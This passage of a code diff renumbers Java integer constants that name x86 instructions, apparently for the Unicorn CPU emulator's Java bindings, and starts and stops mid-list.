UC_X86_INS_VPSRLQ = 1214; - public static final int UC_X86_INS_VPSRLVD = 1215; - public static final int UC_X86_INS_VPSRLVQ = 1216; - public static final int UC_X86_INS_VPSRLW = 1217; - public static final int UC_X86_INS_VPSUBB = 1218; - public static final int UC_X86_INS_VPSUBD = 1219; - public static final int UC_X86_INS_VPSUBQ = 1220; - public static final int UC_X86_INS_VPSUBSB = 1221; - public static final int UC_X86_INS_VPSUBSW = 1222; - public static final int UC_X86_INS_VPSUBUSB = 1223; - public static final int UC_X86_INS_VPSUBUSW = 1224; - public static final int UC_X86_INS_VPSUBW = 1225; - public static final int UC_X86_INS_VPTESTMD = 1226; - public static final int UC_X86_INS_VPTESTMQ = 1227; - public static final int UC_X86_INS_VPTESTNMD = 1228; - public static final int UC_X86_INS_VPTESTNMQ = 1229; - public static final int UC_X86_INS_VPTEST = 1230; - public static final int UC_X86_INS_VPUNPCKHBW = 1231; - public static final int UC_X86_INS_VPUNPCKHDQ = 1232; - public static final int UC_X86_INS_VPUNPCKHQDQ = 1233; - public static final int UC_X86_INS_VPUNPCKHWD = 1234; - public static final int UC_X86_INS_VPUNPCKLBW = 1235; - public static final int UC_X86_INS_VPUNPCKLDQ = 1236; - public static final int UC_X86_INS_VPUNPCKLQDQ = 1237; - public static final int UC_X86_INS_VPUNPCKLWD = 1238; - public static final int UC_X86_INS_VPXORD = 1239; - public static final int UC_X86_INS_VPXORQ = 1240; - public static final int UC_X86_INS_VPXOR = 1241; - public static final int UC_X86_INS_VRCP14PD = 1242; - public static final int UC_X86_INS_VRCP14PS = 1243; - public static final int UC_X86_INS_VRCP14SD = 1244; - public static final int UC_X86_INS_VRCP14SS = 1245; - public static final int UC_X86_INS_VRCP28PD = 1246; - public static final int UC_X86_INS_VRCP28PS = 1247; - public static final int UC_X86_INS_VRCP28SD = 1248; - public static final int UC_X86_INS_VRCP28SS = 1249; - public static final int UC_X86_INS_VRCPPS = 1250; - public static final int UC_X86_INS_VRCPSS = 1251; - public static final int UC_X86_INS_VRNDSCALEPD = 1252; - public static final int UC_X86_INS_VRNDSCALEPS = 1253; - public static final int UC_X86_INS_VRNDSCALESD = 1254; - public static final int UC_X86_INS_VRNDSCALESS = 1255; - public static final int UC_X86_INS_VROUNDPD = 1256; - public static final int UC_X86_INS_VROUNDPS = 1257; - public static final int UC_X86_INS_VROUNDSD = 1258; - public static final int UC_X86_INS_VROUNDSS = 1259; - public static final int UC_X86_INS_VRSQRT14PD = 1260; - public static final int UC_X86_INS_VRSQRT14PS = 1261; - public static final int UC_X86_INS_VRSQRT14SD = 1262; - public static final int UC_X86_INS_VRSQRT14SS = 1263; - public static final int UC_X86_INS_VRSQRT28PD = 1264; - public static final int UC_X86_INS_VRSQRT28PS = 1265; - public static final int UC_X86_INS_VRSQRT28SD = 1266; - public static final int UC_X86_INS_VRSQRT28SS = 1267; - public static final int UC_X86_INS_VRSQRTPS = 1268; - public static final int UC_X86_INS_VRSQRTSS = 1269; - public static final int UC_X86_INS_VSCATTERDPD = 1270; - public static final int UC_X86_INS_VSCATTERDPS = 1271; - public static final int UC_X86_INS_VSCATTERPF0DPD = 1272; - public static final int UC_X86_INS_VSCATTERPF0DPS = 1273; - public static final int UC_X86_INS_VSCATTERPF0QPD = 1274; - public static final int UC_X86_INS_VSCATTERPF0QPS = 1275; - public static final int UC_X86_INS_VSCATTERPF1DPD = 1276; - public static final int UC_X86_INS_VSCATTERPF1DPS = 1277; - public static final int UC_X86_INS_VSCATTERPF1QPD = 1278; - public static final int UC_X86_INS_VSCATTERPF1QPS = 1279; - public static final int UC_X86_INS_VSCATTERQPD = 1280; - public static final int UC_X86_INS_VSCATTERQPS = 1281; - public static final int UC_X86_INS_VSHUFPD = 1282; - public static final int UC_X86_INS_VSHUFPS = 1283; - public static final int UC_X86_INS_VSQRTPD = 1284; - public static final int UC_X86_INS_VSQRTPS = 1285; - public static final int UC_X86_INS_VSQRTSD = 1286; - public static final int UC_X86_INS_VSQRTSS = 1287; - public static final int UC_X86_INS_VSTMXCSR = 1288; - public static final int UC_X86_INS_VSUBPD = 1289; - public static final int UC_X86_INS_VSUBPS = 1290; - public static final int UC_X86_INS_VSUBSD = 1291; - public static final int UC_X86_INS_VSUBSS = 1292; - public static final int UC_X86_INS_VTESTPD = 1293; - public static final int UC_X86_INS_VTESTPS = 1294; - public static final int UC_X86_INS_VUNPCKHPD = 1295; - public static final int UC_X86_INS_VUNPCKHPS = 1296; - public static final int UC_X86_INS_VUNPCKLPD = 1297; - public static final int UC_X86_INS_VUNPCKLPS = 1298; - public static final int UC_X86_INS_VZEROALL = 1299; - public static final int UC_X86_INS_VZEROUPPER = 1300; - public static final int UC_X86_INS_WAIT = 1301; - public static final int UC_X86_INS_WBINVD = 1302; - public static final int UC_X86_INS_WRFSBASE = 1303; - public static final int UC_X86_INS_WRGSBASE = 1304; - public static final int UC_X86_INS_WRMSR = 1305; - public static final int UC_X86_INS_XABORT = 1306; - public static final int UC_X86_INS_XACQUIRE = 1307; - public static final int UC_X86_INS_XBEGIN = 1308; - public static final int UC_X86_INS_XCHG = 1309; - public static final int UC_X86_INS_XCRYPTCBC = 1310; - public static final int UC_X86_INS_XCRYPTCFB = 1311; - public static final int UC_X86_INS_XCRYPTCTR = 1312; - public static final int UC_X86_INS_XCRYPTECB = 1313; - public static final int UC_X86_INS_XCRYPTOFB = 1314; - public static final int UC_X86_INS_XEND = 1315; - public static final int UC_X86_INS_XGETBV = 1316; - public static final int UC_X86_INS_XLATB = 1317; - public static final int UC_X86_INS_XRELEASE = 1318; - public static final int UC_X86_INS_XRSTOR = 1319; - public static final int UC_X86_INS_XRSTOR64 = 1320; - public static final int UC_X86_INS_XRSTORS = 1321; - public static final int UC_X86_INS_XRSTORS64 = 1322; - public static final int UC_X86_INS_XSAVE = 1323; - public static final int UC_X86_INS_XSAVE64 = 1324; - public static final int UC_X86_INS_XSAVEC = 1325; - public static final int UC_X86_INS_XSAVEC64 = 1326; - public static final int UC_X86_INS_XSAVEOPT = 1327; - public static final int UC_X86_INS_XSAVEOPT64 = 1328; - public static final int UC_X86_INS_XSAVES = 1329; - public static final int UC_X86_INS_XSAVES64 = 1330; - public static final int UC_X86_INS_XSETBV = 1331; - public static final int UC_X86_INS_XSHA1 = 1332; - public static final int UC_X86_INS_XSHA256 = 1333; - public static final int UC_X86_INS_XSTORE = 1334; - public static final int UC_X86_INS_XTEST = 1335; - public static final int UC_X86_INS_FDISI8087_NOP = 1336; - public static final int UC_X86_INS_FENI8087_NOP = 1337; - public static final int UC_X86_INS_ENDING = 1338; + public static final int UC_X86_INS_INVALID = 0; + public static final int UC_X86_INS_AAA = 1; + public static final int UC_X86_INS_AAD = 2; + public static final int UC_X86_INS_AAM = 3; + public static final int UC_X86_INS_AAS = 4; + public static final int UC_X86_INS_FABS = 5; + public static final int UC_X86_INS_ADC = 6; + public static final int UC_X86_INS_ADCX = 7; + public static final int UC_X86_INS_ADD = 8; + public static final int UC_X86_INS_ADDPD = 9; + public static final int UC_X86_INS_ADDPS = 10; + public static final int UC_X86_INS_ADDSD = 11; + public static final int UC_X86_INS_ADDSS = 12; + public static final int UC_X86_INS_ADDSUBPD = 13; + public static final int UC_X86_INS_ADDSUBPS = 14; + public static final int UC_X86_INS_FADD = 15; + public static final int UC_X86_INS_FIADD = 16; + public static final int UC_X86_INS_FADDP = 17; + public static final int UC_X86_INS_ADOX = 18; + public static final int UC_X86_INS_AESDECLAST = 19; + public static final int UC_X86_INS_AESDEC = 20; + public static final int UC_X86_INS_AESENCLAST = 21; + public static final int UC_X86_INS_AESENC = 22; + public static final int UC_X86_INS_AESIMC = 23; + public static final int UC_X86_INS_AESKEYGENASSIST = 24; + public static final int UC_X86_INS_AND = 25; + public static final int UC_X86_INS_ANDN = 26; + public static final int UC_X86_INS_ANDNPD = 27; + public static final int UC_X86_INS_ANDNPS = 28; + public static final int UC_X86_INS_ANDPD = 29; + public static final int UC_X86_INS_ANDPS = 30; + public static final int UC_X86_INS_ARPL = 31; + public static final int UC_X86_INS_BEXTR = 32; + public static final int UC_X86_INS_BLCFILL = 33; + public static final int UC_X86_INS_BLCI = 34; + public static final int UC_X86_INS_BLCIC = 35; + public static final int UC_X86_INS_BLCMSK = 36; + public static final int UC_X86_INS_BLCS = 37; + public static final int UC_X86_INS_BLENDPD = 38; + public static final int UC_X86_INS_BLENDPS = 39; + public static final int UC_X86_INS_BLENDVPD = 40; + public static final int UC_X86_INS_BLENDVPS = 41; + public static final int UC_X86_INS_BLSFILL = 42; + public static final int UC_X86_INS_BLSI = 43; + public static final int UC_X86_INS_BLSIC = 44; + public static final int UC_X86_INS_BLSMSK = 45; + public static final int UC_X86_INS_BLSR = 46; + public static final int UC_X86_INS_BOUND = 47; + public static final int UC_X86_INS_BSF = 48; + public static final int UC_X86_INS_BSR = 49; + public static final int UC_X86_INS_BSWAP = 50; + public static final int UC_X86_INS_BT = 51; + public static final int UC_X86_INS_BTC = 52; + public static final int UC_X86_INS_BTR = 53; + public static final int UC_X86_INS_BTS = 54; + public static final int UC_X86_INS_BZHI = 55; + public static final int UC_X86_INS_CALL = 56; + public static final int UC_X86_INS_CBW = 57; + public static final int UC_X86_INS_CDQ = 58; + public static final int UC_X86_INS_CDQE = 59; + public static final int UC_X86_INS_FCHS = 60; + public static final int UC_X86_INS_CLAC = 61; + public static final int UC_X86_INS_CLC = 62; + public static final int UC_X86_INS_CLD = 63; + public static final int UC_X86_INS_CLFLUSH = 64; + public static final int UC_X86_INS_CLFLUSHOPT = 65; + public static final int UC_X86_INS_CLGI = 66; + public static final int UC_X86_INS_CLI = 67; + public static final int UC_X86_INS_CLTS = 68; + public static final int UC_X86_INS_CLWB = 69; + public static final int UC_X86_INS_CMC = 70; + public static final int UC_X86_INS_CMOVA = 71; + public static final int UC_X86_INS_CMOVAE = 72; + public static final int UC_X86_INS_CMOVB = 73; + public static final int UC_X86_INS_CMOVBE = 74; + public static final int UC_X86_INS_FCMOVBE = 75; + public static final int UC_X86_INS_FCMOVB = 76; + public static final int UC_X86_INS_CMOVE = 77; + public static final int UC_X86_INS_FCMOVE = 78; + public static final int UC_X86_INS_CMOVG = 79; + public static final int UC_X86_INS_CMOVGE = 80; + public static final int UC_X86_INS_CMOVL = 81; + public static final int UC_X86_INS_CMOVLE = 82; + public static final int UC_X86_INS_FCMOVNBE = 83; + public static final int UC_X86_INS_FCMOVNB = 84; + public static final int UC_X86_INS_CMOVNE = 85; + public static final int UC_X86_INS_FCMOVNE = 86; + public static final int UC_X86_INS_CMOVNO = 87; + public static final int UC_X86_INS_CMOVNP = 88; + public static final int UC_X86_INS_FCMOVNU = 89; + public static final int UC_X86_INS_CMOVNS = 90; + public static final int UC_X86_INS_CMOVO = 91; + public static final int UC_X86_INS_CMOVP = 92; + public static final int UC_X86_INS_FCMOVU = 93; + public static final int UC_X86_INS_CMOVS = 94; + public static final int UC_X86_INS_CMP = 95; + public static final int UC_X86_INS_CMPPD = 96; + public static final int UC_X86_INS_CMPPS = 97; + public static final int UC_X86_INS_CMPSB = 98; + public static final int UC_X86_INS_CMPSD = 99; + public static final int UC_X86_INS_CMPSQ = 100; + public static final int UC_X86_INS_CMPSS = 101; + public static final int UC_X86_INS_CMPSW = 102; + public static final int UC_X86_INS_CMPXCHG16B = 103; + public static final int UC_X86_INS_CMPXCHG = 104; + public static final int UC_X86_INS_CMPXCHG8B = 105; + public static final int UC_X86_INS_COMISD = 106; + public static final int UC_X86_INS_COMISS = 107; + public static final int UC_X86_INS_FCOMP = 108; + public static final int UC_X86_INS_FCOMPI = 109; + public static final int UC_X86_INS_FCOMI = 110; + public static final int UC_X86_INS_FCOM = 111; + public static final int UC_X86_INS_FCOS = 112; + public static final int UC_X86_INS_CPUID = 113; + public static final int UC_X86_INS_CQO = 114; + public static final int UC_X86_INS_CRC32 = 115; + public static final int UC_X86_INS_CVTDQ2PD = 116; + public static final int UC_X86_INS_CVTDQ2PS = 117; + public static final int UC_X86_INS_CVTPD2DQ = 118; + public static final int UC_X86_INS_CVTPD2PS = 119; + public static final int UC_X86_INS_CVTPS2DQ = 120; + public static final int UC_X86_INS_CVTPS2PD = 121; + public static final int UC_X86_INS_CVTSD2SI = 122; + public static final int UC_X86_INS_CVTSD2SS = 123; + public static final int UC_X86_INS_CVTSI2SD = 124; + public static final int UC_X86_INS_CVTSI2SS = 125; + public static final int UC_X86_INS_CVTSS2SD = 126; + public static final int UC_X86_INS_CVTSS2SI = 127; + public static final int UC_X86_INS_CVTTPD2DQ = 128; + public static final int UC_X86_INS_CVTTPS2DQ = 129; + public static final int UC_X86_INS_CVTTSD2SI = 130; + public static final int UC_X86_INS_CVTTSS2SI = 131; + public static final int UC_X86_INS_CWD = 132; + public static final int UC_X86_INS_CWDE = 133; + public static final int UC_X86_INS_DAA = 134; + public static final int UC_X86_INS_DAS = 135; + public static final int UC_X86_INS_DATA16 = 136; + public static final int UC_X86_INS_DEC = 137; + public static final int UC_X86_INS_DIV = 138; + public static final int UC_X86_INS_DIVPD = 139; + public static final int UC_X86_INS_DIVPS = 140; + public static final int UC_X86_INS_FDIVR = 141; + public static final int UC_X86_INS_FIDIVR = 142; + public static final int UC_X86_INS_FDIVRP = 143; + public static final int UC_X86_INS_DIVSD = 144; + public static final int UC_X86_INS_DIVSS = 145; + public static final int UC_X86_INS_FDIV = 146; + public static final int UC_X86_INS_FIDIV = 147; + public static final int UC_X86_INS_FDIVP = 148; + public static final int UC_X86_INS_DPPD = 149; + public static final int UC_X86_INS_DPPS = 150; + public static final int UC_X86_INS_RET = 151; + public static final int UC_X86_INS_ENCLS = 152; + public static final int UC_X86_INS_ENCLU = 153; + public static final int UC_X86_INS_ENTER = 154; + public static final int UC_X86_INS_EXTRACTPS = 155; + public static final int UC_X86_INS_EXTRQ = 156; + public static final int UC_X86_INS_F2XM1 = 157; + public static final int UC_X86_INS_LCALL = 158; + public static final int UC_X86_INS_LJMP = 159; + public static final int UC_X86_INS_FBLD = 160; + public static final int UC_X86_INS_FBSTP = 161; + public static final int UC_X86_INS_FCOMPP = 162; + public static final int UC_X86_INS_FDECSTP = 163; + public static final int UC_X86_INS_FEMMS = 164; + public static final int UC_X86_INS_FFREE = 165; + public static final int UC_X86_INS_FICOM = 166; + public static final int UC_X86_INS_FICOMP = 167; + public static final int UC_X86_INS_FINCSTP = 168; + public static final int UC_X86_INS_FLDCW = 169; + public static final int UC_X86_INS_FLDENV = 170; + public static final int UC_X86_INS_FLDL2E = 171; + public static final int UC_X86_INS_FLDL2T = 172; + public static final int UC_X86_INS_FLDLG2 = 173; + public static final int UC_X86_INS_FLDLN2 = 174; + public static final int UC_X86_INS_FLDPI = 175; + public static final int UC_X86_INS_FNCLEX = 176; + public static final int UC_X86_INS_FNINIT = 177; + public static final int UC_X86_INS_FNOP = 178; + public static final int UC_X86_INS_FNSTCW = 179; + public static final int UC_X86_INS_FNSTSW = 180; + public static final int UC_X86_INS_FPATAN = 181; + public static final int UC_X86_INS_FPREM = 182; + public static final int UC_X86_INS_FPREM1 = 183; + public static final int UC_X86_INS_FPTAN = 184; + public static final int UC_X86_INS_FFREEP = 185; + public static final int UC_X86_INS_FRNDINT = 186; + public static final int UC_X86_INS_FRSTOR = 187; + public static final int UC_X86_INS_FNSAVE = 188; + public static final int UC_X86_INS_FSCALE = 189; + public static final int UC_X86_INS_FSETPM = 190; + public static final int UC_X86_INS_FSINCOS = 191; + public static final int UC_X86_INS_FNSTENV = 192; + public static final int UC_X86_INS_FXAM = 193; + public static final int UC_X86_INS_FXRSTOR = 194; + public static final int UC_X86_INS_FXRSTOR64 = 195; + public static final int UC_X86_INS_FXSAVE = 196; + public static final int UC_X86_INS_FXSAVE64 = 197; + public static final int UC_X86_INS_FXTRACT = 198; + public static final int UC_X86_INS_FYL2X = 199; + public static final int UC_X86_INS_FYL2XP1 = 200; + public static final int UC_X86_INS_MOVAPD = 201; + public static final int UC_X86_INS_MOVAPS = 202; + public static final int UC_X86_INS_ORPD = 203; + public static final int UC_X86_INS_ORPS = 204; + public static final int UC_X86_INS_VMOVAPD = 205; + public static final int UC_X86_INS_VMOVAPS = 206; + public static final int UC_X86_INS_XORPD = 207; + public static final int UC_X86_INS_XORPS = 208; + public static final int UC_X86_INS_GETSEC = 209; + public static final int UC_X86_INS_HADDPD = 210; + public static final int UC_X86_INS_HADDPS = 211; + public static final int UC_X86_INS_HLT = 212; + public static final int UC_X86_INS_HSUBPD = 213; + public static final int UC_X86_INS_HSUBPS = 214; + public static final int UC_X86_INS_IDIV = 215; + public static final int UC_X86_INS_FILD = 216; + public static final int UC_X86_INS_IMUL = 217; + public static final int UC_X86_INS_IN = 218; + public static final int UC_X86_INS_INC = 219; + public static final int UC_X86_INS_INSB = 220; + public static final int UC_X86_INS_INSERTPS = 221; + public static final int UC_X86_INS_INSERTQ = 222; + public static final int UC_X86_INS_INSD = 223; + public static final int UC_X86_INS_INSW = 224; + public static final int UC_X86_INS_INT = 225; + public static final int UC_X86_INS_INT1 = 226; + public static final int UC_X86_INS_INT3 = 227; + public static final int UC_X86_INS_INTO = 228; + public static final int UC_X86_INS_INVD = 229; + public static final int UC_X86_INS_INVEPT = 230; + public static final int UC_X86_INS_INVLPG = 231; + public static final int UC_X86_INS_INVLPGA = 232; + public static final int UC_X86_INS_INVPCID = 233; + public static final int UC_X86_INS_INVVPID = 234; + public static final int UC_X86_INS_IRET = 235; + public static final int UC_X86_INS_IRETD = 236; + public static final int UC_X86_INS_IRETQ = 237; + public static final int UC_X86_INS_FISTTP = 238; + public static final int UC_X86_INS_FIST = 239; + public static final int UC_X86_INS_FISTP = 240; + public static final int UC_X86_INS_UCOMISD = 241; + public static final int UC_X86_INS_UCOMISS = 242; + public static final int UC_X86_INS_VCOMISD = 243; + public static final int UC_X86_INS_VCOMISS = 244; + public static final int UC_X86_INS_VCVTSD2SS = 245; + public static final int UC_X86_INS_VCVTSI2SD = 246; + public static final int UC_X86_INS_VCVTSI2SS = 247; + public static final int UC_X86_INS_VCVTSS2SD = 248; + public static final int UC_X86_INS_VCVTTSD2SI = 249; + public static final int UC_X86_INS_VCVTTSD2USI = 250; + public static final int UC_X86_INS_VCVTTSS2SI = 251; + public static final int UC_X86_INS_VCVTTSS2USI = 252; + public static final int UC_X86_INS_VCVTUSI2SD = 253; + public static final int UC_X86_INS_VCVTUSI2SS = 254; + public static final int UC_X86_INS_VUCOMISD = 255; + public static final int UC_X86_INS_VUCOMISS = 256; + public static final int UC_X86_INS_JAE = 257; + public static final int UC_X86_INS_JA = 258; + public static final int UC_X86_INS_JBE = 259; + public static final int UC_X86_INS_JB = 260; + public static final int UC_X86_INS_JCXZ = 261; + public static final int UC_X86_INS_JECXZ = 262; + public static final int UC_X86_INS_JE = 263; + public static final int UC_X86_INS_JGE = 264; + public static final int UC_X86_INS_JG = 265; + public static final int UC_X86_INS_JLE = 266; + public static final int UC_X86_INS_JL = 267; + public static final int UC_X86_INS_JMP = 268; + public static final int UC_X86_INS_JNE = 269; + public static final int UC_X86_INS_JNO = 270; + public static final int UC_X86_INS_JNP = 271; + public static final int UC_X86_INS_JNS = 272; + public static final int UC_X86_INS_JO = 273; + public static final int UC_X86_INS_JP = 274; + public static final int UC_X86_INS_JRCXZ = 275; + public static final int UC_X86_INS_JS = 276; + public static final int UC_X86_INS_KANDB = 277; + public static final int UC_X86_INS_KANDD = 278; + public static final int UC_X86_INS_KANDNB = 279; + public static final int UC_X86_INS_KANDND = 280; + public static final int UC_X86_INS_KANDNQ = 281; + public static final int UC_X86_INS_KANDNW = 282; + public static final int UC_X86_INS_KANDQ = 283; + public static final int UC_X86_INS_KANDW = 284; + public static final int UC_X86_INS_KMOVB = 285; + public static final int UC_X86_INS_KMOVD = 286; + public static final int UC_X86_INS_KMOVQ = 287; + public static final int UC_X86_INS_KMOVW = 288; + public static final int UC_X86_INS_KNOTB = 289; + public static final int UC_X86_INS_KNOTD = 290; + public static final int UC_X86_INS_KNOTQ = 291; + public static final int UC_X86_INS_KNOTW = 292; + public static final int UC_X86_INS_KORB = 293; + public static final int UC_X86_INS_KORD = 294; + public static final int UC_X86_INS_KORQ = 295; + public static final int UC_X86_INS_KORTESTB = 296; + public static final int UC_X86_INS_KORTESTD = 297; + public static final int UC_X86_INS_KORTESTQ = 298; + public static final int UC_X86_INS_KORTESTW = 299; + public static final int UC_X86_INS_KORW = 300; + public static final int UC_X86_INS_KSHIFTLB = 301; + public static final int UC_X86_INS_KSHIFTLD = 302; + public static final int UC_X86_INS_KSHIFTLQ = 303; + public static final int UC_X86_INS_KSHIFTLW = 304; + public static final int UC_X86_INS_KSHIFTRB = 305; + public static final int UC_X86_INS_KSHIFTRD = 306; + public static final int UC_X86_INS_KSHIFTRQ = 307; + public static final int UC_X86_INS_KSHIFTRW = 308; + public static final int UC_X86_INS_KUNPCKBW = 309; + public static final int UC_X86_INS_KXNORB = 310; + public static final int UC_X86_INS_KXNORD = 311; + public static final int UC_X86_INS_KXNORQ = 312; + public static final int UC_X86_INS_KXNORW = 313; + public static final int UC_X86_INS_KXORB = 314; + public static final int UC_X86_INS_KXORD = 315; + public static final int UC_X86_INS_KXORQ = 316; + public static final int UC_X86_INS_KXORW = 317; + public static final int UC_X86_INS_LAHF = 318; + public static final int UC_X86_INS_LAR = 319; + public static final int UC_X86_INS_LDDQU = 320; + public static final int UC_X86_INS_LDMXCSR = 321; + public static final int UC_X86_INS_LDS = 322; + public static final int UC_X86_INS_FLDZ = 323; + public static final int UC_X86_INS_FLD1 = 324; + public static final int UC_X86_INS_FLD = 325; + public static final int UC_X86_INS_LEA = 326; + public static final int UC_X86_INS_LEAVE = 327; + public static final int UC_X86_INS_LES = 328; + public static final int UC_X86_INS_LFENCE = 329; + public static final int UC_X86_INS_LFS = 330; + public static final int UC_X86_INS_LGDT = 331; + public static final int UC_X86_INS_LGS = 332; + public static final int UC_X86_INS_LIDT = 333; + public static final int UC_X86_INS_LLDT = 334; + public static final int UC_X86_INS_LMSW = 335; + public static final int UC_X86_INS_OR = 336; + public static final int UC_X86_INS_SUB = 337; + public static final int UC_X86_INS_XOR = 338; + public static final int UC_X86_INS_LODSB = 339; + public static final int UC_X86_INS_LODSD = 340; + public static final int UC_X86_INS_LODSQ = 341; + public static final int UC_X86_INS_LODSW = 342; + public static final int UC_X86_INS_LOOP = 343; + public static final int UC_X86_INS_LOOPE = 344; + public static final int UC_X86_INS_LOOPNE = 345; + public static final int UC_X86_INS_RETF = 346; + public static final int UC_X86_INS_RETFQ = 347; + public static final int UC_X86_INS_LSL = 348; + public static final int UC_X86_INS_LSS = 349; + public static final int UC_X86_INS_LTR = 350; + public static final int UC_X86_INS_XADD = 351; + public static final int UC_X86_INS_LZCNT = 352; + public static final int UC_X86_INS_MASKMOVDQU = 353; + public static final int UC_X86_INS_MAXPD = 354; + public static final int UC_X86_INS_MAXPS = 355; + public static final int UC_X86_INS_MAXSD = 356; + public static final int UC_X86_INS_MAXSS = 357; + public static final int UC_X86_INS_MFENCE = 358; + public static final int UC_X86_INS_MINPD = 359; + public static final int UC_X86_INS_MINPS = 360; + public static final int UC_X86_INS_MINSD = 361; + public static final int UC_X86_INS_MINSS = 362; + public static final int UC_X86_INS_CVTPD2PI = 363; + public static final int UC_X86_INS_CVTPI2PD = 364; + public static final int UC_X86_INS_CVTPI2PS = 365; + public static final int UC_X86_INS_CVTPS2PI = 366; + public static final int UC_X86_INS_CVTTPD2PI = 367; + public static final int UC_X86_INS_CVTTPS2PI = 368; + public static final int UC_X86_INS_EMMS = 369; + public static final int UC_X86_INS_MASKMOVQ = 370; + public static final int UC_X86_INS_MOVD = 371; + public static final int UC_X86_INS_MOVDQ2Q = 372; + public static final int UC_X86_INS_MOVNTQ = 373; + public static final int UC_X86_INS_MOVQ2DQ = 374; + public static final int UC_X86_INS_MOVQ = 375; + public static final int UC_X86_INS_PABSB = 376; + public static final int UC_X86_INS_PABSD = 377; + public static final int UC_X86_INS_PABSW = 378; + public static final int UC_X86_INS_PACKSSDW = 379; + public static final int UC_X86_INS_PACKSSWB = 380; + public static final int UC_X86_INS_PACKUSWB = 381; + public static final int UC_X86_INS_PADDB = 382; + public static final int UC_X86_INS_PADDD = 383; + public static final int UC_X86_INS_PADDQ = 384; + public static final int UC_X86_INS_PADDSB = 385; + public static final int UC_X86_INS_PADDSW = 386; + public static final int UC_X86_INS_PADDUSB = 387; + public static final int UC_X86_INS_PADDUSW = 388; + public static final int UC_X86_INS_PADDW = 389; + public static final int UC_X86_INS_PALIGNR = 390; + public static final int UC_X86_INS_PANDN = 391; + public static final int UC_X86_INS_PAND = 392; + public static final int UC_X86_INS_PAVGB = 393; + public static final int UC_X86_INS_PAVGW = 394; + public static final int UC_X86_INS_PCMPEQB = 395; + public static final int UC_X86_INS_PCMPEQD = 396; + public static final int UC_X86_INS_PCMPEQW = 397; + public static final int UC_X86_INS_PCMPGTB = 398; + public static final int UC_X86_INS_PCMPGTD = 399; + public static final int UC_X86_INS_PCMPGTW = 400; + public static final int UC_X86_INS_PEXTRW = 401; + public static final int UC_X86_INS_PHADDSW = 402; + public static final int UC_X86_INS_PHADDW = 403; + public static final int UC_X86_INS_PHADDD = 404; + public static final int UC_X86_INS_PHSUBD = 405; + public static final int UC_X86_INS_PHSUBSW = 406; + public static final int UC_X86_INS_PHSUBW = 407; + public static final int UC_X86_INS_PINSRW = 408; + public static final int UC_X86_INS_PMADDUBSW = 409; + public static final int UC_X86_INS_PMADDWD = 410; + public static final int UC_X86_INS_PMAXSW = 411; + public static final int UC_X86_INS_PMAXUB = 412; + public static final int UC_X86_INS_PMINSW = 413; + public static final int UC_X86_INS_PMINUB = 414; + public static final int UC_X86_INS_PMOVMSKB = 415; + public static final int UC_X86_INS_PMULHRSW = 416; + public static final int UC_X86_INS_PMULHUW = 417; + public static final int UC_X86_INS_PMULHW = 418; + public static final int UC_X86_INS_PMULLW = 419; + public static final int UC_X86_INS_PMULUDQ = 420; + public static final int UC_X86_INS_POR = 421; + public static final int UC_X86_INS_PSADBW = 422; + public static final int UC_X86_INS_PSHUFB = 423; + public static final int UC_X86_INS_PSHUFW = 424; + public static final int UC_X86_INS_PSIGNB = 425; + public static final int UC_X86_INS_PSIGND = 426; + public static final int UC_X86_INS_PSIGNW = 427; + public static final int UC_X86_INS_PSLLD = 428; + public static final int UC_X86_INS_PSLLQ = 429; + public static final int UC_X86_INS_PSLLW = 430; + public static final int UC_X86_INS_PSRAD = 431; + public static final int UC_X86_INS_PSRAW = 432; + public static final int UC_X86_INS_PSRLD = 433; + public static final int UC_X86_INS_PSRLQ = 434; + public static final int UC_X86_INS_PSRLW = 435; + public static final int UC_X86_INS_PSUBB = 436; + public static final int UC_X86_INS_PSUBD = 437; + public static final int UC_X86_INS_PSUBQ = 438; + public static final int UC_X86_INS_PSUBSB = 439; + public static final int UC_X86_INS_PSUBSW = 440; + public static final int UC_X86_INS_PSUBUSB = 441; + public static final int UC_X86_INS_PSUBUSW = 442; + public static final int UC_X86_INS_PSUBW = 443; + public static final int UC_X86_INS_PUNPCKHBW = 444; + public static final int UC_X86_INS_PUNPCKHDQ = 445; + public static final int UC_X86_INS_PUNPCKHWD = 446; + public static final int UC_X86_INS_PUNPCKLBW = 447; + public static final int UC_X86_INS_PUNPCKLDQ = 448; + public static final int UC_X86_INS_PUNPCKLWD = 449; + public static final int UC_X86_INS_PXOR = 450; + public static final int UC_X86_INS_MONITOR = 451; + public static final int UC_X86_INS_MONTMUL = 452; + public static final int UC_X86_INS_MOV = 453; + public static final int UC_X86_INS_MOVABS = 454; + public static final int UC_X86_INS_MOVBE = 455; + public static final int UC_X86_INS_MOVDDUP = 456; + public static final int UC_X86_INS_MOVDQA = 457; + public static final int UC_X86_INS_MOVDQU = 458; + public static final int UC_X86_INS_MOVHLPS = 459; + public static final int UC_X86_INS_MOVHPD = 460; + public static final int UC_X86_INS_MOVHPS = 461; + public static final int UC_X86_INS_MOVLHPS = 462; + public static final int UC_X86_INS_MOVLPD = 463; + public static final int UC_X86_INS_MOVLPS = 464; + public static final int UC_X86_INS_MOVMSKPD = 465; + public static final int UC_X86_INS_MOVMSKPS = 466; + public static final int UC_X86_INS_MOVNTDQA = 467; + public static final int UC_X86_INS_MOVNTDQ = 468; + public static final int UC_X86_INS_MOVNTI = 469; + public static final int UC_X86_INS_MOVNTPD = 470; + public static final int UC_X86_INS_MOVNTPS = 471; + public static final int UC_X86_INS_MOVNTSD = 472; + public static final int UC_X86_INS_MOVNTSS = 473; + public static final int UC_X86_INS_MOVSB = 474; + public static final int UC_X86_INS_MOVSD = 475; + public static final int UC_X86_INS_MOVSHDUP = 476; + public static final int UC_X86_INS_MOVSLDUP = 477; + public static final int UC_X86_INS_MOVSQ = 478; + public static final int UC_X86_INS_MOVSS = 479; + public static final int UC_X86_INS_MOVSW = 480; + public static final int UC_X86_INS_MOVSX = 481; + public static final int UC_X86_INS_MOVSXD = 482; + public static final int UC_X86_INS_MOVUPD = 483; + public static final int UC_X86_INS_MOVUPS = 484; + public static final int UC_X86_INS_MOVZX = 485; + public static final int UC_X86_INS_MPSADBW = 486; + public static final int UC_X86_INS_MUL = 487; + public static final int UC_X86_INS_MULPD = 488; + public static final int UC_X86_INS_MULPS = 489; + public static final int UC_X86_INS_MULSD = 490; + public static final int UC_X86_INS_MULSS = 491; + public static final int UC_X86_INS_MULX = 492; + public static final int UC_X86_INS_FMUL = 493; + public static final int UC_X86_INS_FIMUL = 494; + public static final int UC_X86_INS_FMULP = 495; + public static final int UC_X86_INS_MWAIT = 496; + public static final int UC_X86_INS_NEG = 497; + public static final int UC_X86_INS_NOP = 498; + public static final int UC_X86_INS_NOT = 499; + public static final int 